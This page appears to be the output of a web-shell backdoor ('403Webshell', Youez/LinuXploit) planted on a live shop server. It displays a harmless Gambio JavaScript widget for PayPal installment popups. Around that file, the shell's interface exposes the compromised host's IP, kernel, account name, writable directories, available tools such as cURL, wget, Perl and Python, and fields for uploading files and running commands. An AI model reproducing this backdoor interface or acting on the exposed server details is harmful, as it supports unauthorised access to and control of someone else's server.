403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/themes/Honeygrid/javascripts/source/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/themes/Honeygrid/javascripts/source/widgets/paypalinstallmentsinfo.js
/* --------------------------------------------------------------
	paypalinstallmentsinfo.js 2017-01-13
	Gambio GmbH
	http://www.gambio.de
	Copyright (c) 2016 Gambio GmbH
	Released under the GNU General Public License (Version 2)
	[http://www.gnu.org/licenses/gpl-2.0.html]
	--------------------------------------------------------------
*/

gambio.widgets.module(
    'paypalinstallmentsinfo',
    [],
    function (data) {
        'use strict';

        // ########## VARIABLE INITIALIZATION ##########
        var $this = $(this),
            defaults = {
                thirdPartyPaymentsBlock: []
            },
            options = $.extend(true, {}, defaults, data),
            module = {};

        module.init = function (done) {
            let addCloseHandler = function () {
                $('div.pp_cs_popup, div.pp_cs_popup button.mfp-close').on('click', function (e) {
                    $(e.target).closest('div.pp_cs_popup').remove();
                });
            }

            $('div.popup_installments_info', $this).on('click', function (e) {
                let $popup = $('.pp_cs_popup', $this), $newpopup,
                    amount = $(e.target).data('amount');

                if (amount === 'dynamic') {
                    var priceText = $('#attributes-calc-price div.current-price-container').text(),
                        dynamount;
                    dynamount = priceText.replace(/(.*?[\d.,]+\s\S+)?.*?([.,\d]+)\s\S+(.+%)?$/, '$2');
                    dynamount = dynamount.replace(/[,.](\d{3})/g, '$1').replace(/(\d+)[.,](\d\d)/, '$1.$2');
                    amount = dynamount;
                }

                $('body > div.pp_cs_popup').remove();
                $popup.clone().appendTo('body');
                addCloseHandler();
                $('body > div.pp_cs_popup').show();

                if ($('body > div.pp_cs_popup > div.pp_cs_popup_inner').length === 0) {
                    let contentUrl = jse.core.config.get('appUrl') + '/shop.php?do=PayPal/InstallmentOptions';
                    $('body > div.pp_cs_popup').load(contentUrl, {'amount': amount}, function () {
                        $('div.pp_cs_popup button.mfp-close').on('click', addCloseHandler);
                    });
                }
            });
            done();
        };

        return module;
    }
);

Youez - 2016 - github.com/yon3zu
LinuXploit